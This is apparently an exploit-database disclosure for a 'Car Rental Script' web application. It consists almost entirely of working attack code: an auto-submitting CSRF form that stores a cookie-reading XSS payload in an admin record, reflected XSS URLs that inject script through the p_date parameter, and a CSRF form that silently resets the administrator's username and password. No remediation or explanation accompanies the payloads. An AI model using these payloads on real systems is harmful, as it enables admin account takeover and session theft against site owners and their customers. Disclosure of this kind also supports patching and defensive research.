Car Rental Script – Multiple Vulnerabilities
I. Persistent XSS: CSRF with XSS Exploit: <html><body onload="document.form0.submit();"><form method="POST" name="form0" action="http://SITE/index.php?controller=AdminExtras&action=create"><input type="hidden" name="extra_create" value="1"/><input type="hidden" name="i18n[1][name]" value="<script>alert(document.cookie);</script>"/><input type="hidden" name="i18n[2][name]" value=""/><input type="hidden" name="i18n[3][name]" value=""/><input type="hidden" name="price" value="1000$"/><input type="hidden" name="per" value="booking"/><input type="hidden" name="count" value="1000$"/></form></body></html> II. Non-Persistent XSS: www.site.com/index.php?controller=AdminBookings&action=index&p_date=XSS www.site.com/index.php?controller=AdminBookings&action=index&p_date="><script>alert(document.cookie);</script>"/> [2] Cross Site Request Forgery: [Change Username/Password Admin]: <html><body onload="document.form0.submit();"><form method="POST" name="form0" action="http://site/index.php?controller=AdminOptions&action=update"><input type="hidden" name="options_update" value="1"/><input type="hidden" name="tab" value="1"/><input type="hidden" name="username" value="admin"/><input type="hidden" name="password" value="password"/><input type="hidden" name="value-enum-currency" value="USD|GBP|EUR::USD"/><input type="hidden" name="value-enum-date_format" value="d.m.Y|m.d.Y|Y.m.d|j.n.Y|n.j.Y|Y.n.j|d/m/Y|m/d/Y|Y/m/d|j/n/Y|n/j/Y|Y/n/j::d.m.Y"/><input type="hidden" name="value-enum-time_format" value="H:i|h:i A|g:i A::H:i"/><input type="hidden" name="value-enum-timezone" value="-12:00|-11:00|-10:00|-09:30|-09:00|-08:00|-07:00|-06:00|-05:00|-04:30|-04:00|-03:30|-03:00|-02:00|-01:00|+00:00|+01:00|+02:00|+03:00|+03:30|+04:00|+04:30|+05:00|+05:30|+05:45|+06:00|+06:30|+07:00|+08:00|+08:45|+09:00|+09:30|+10:00|+10:30|+11:00|+12:00|+12:45|+13:00|+14:00::+02:00"/></form></body></html>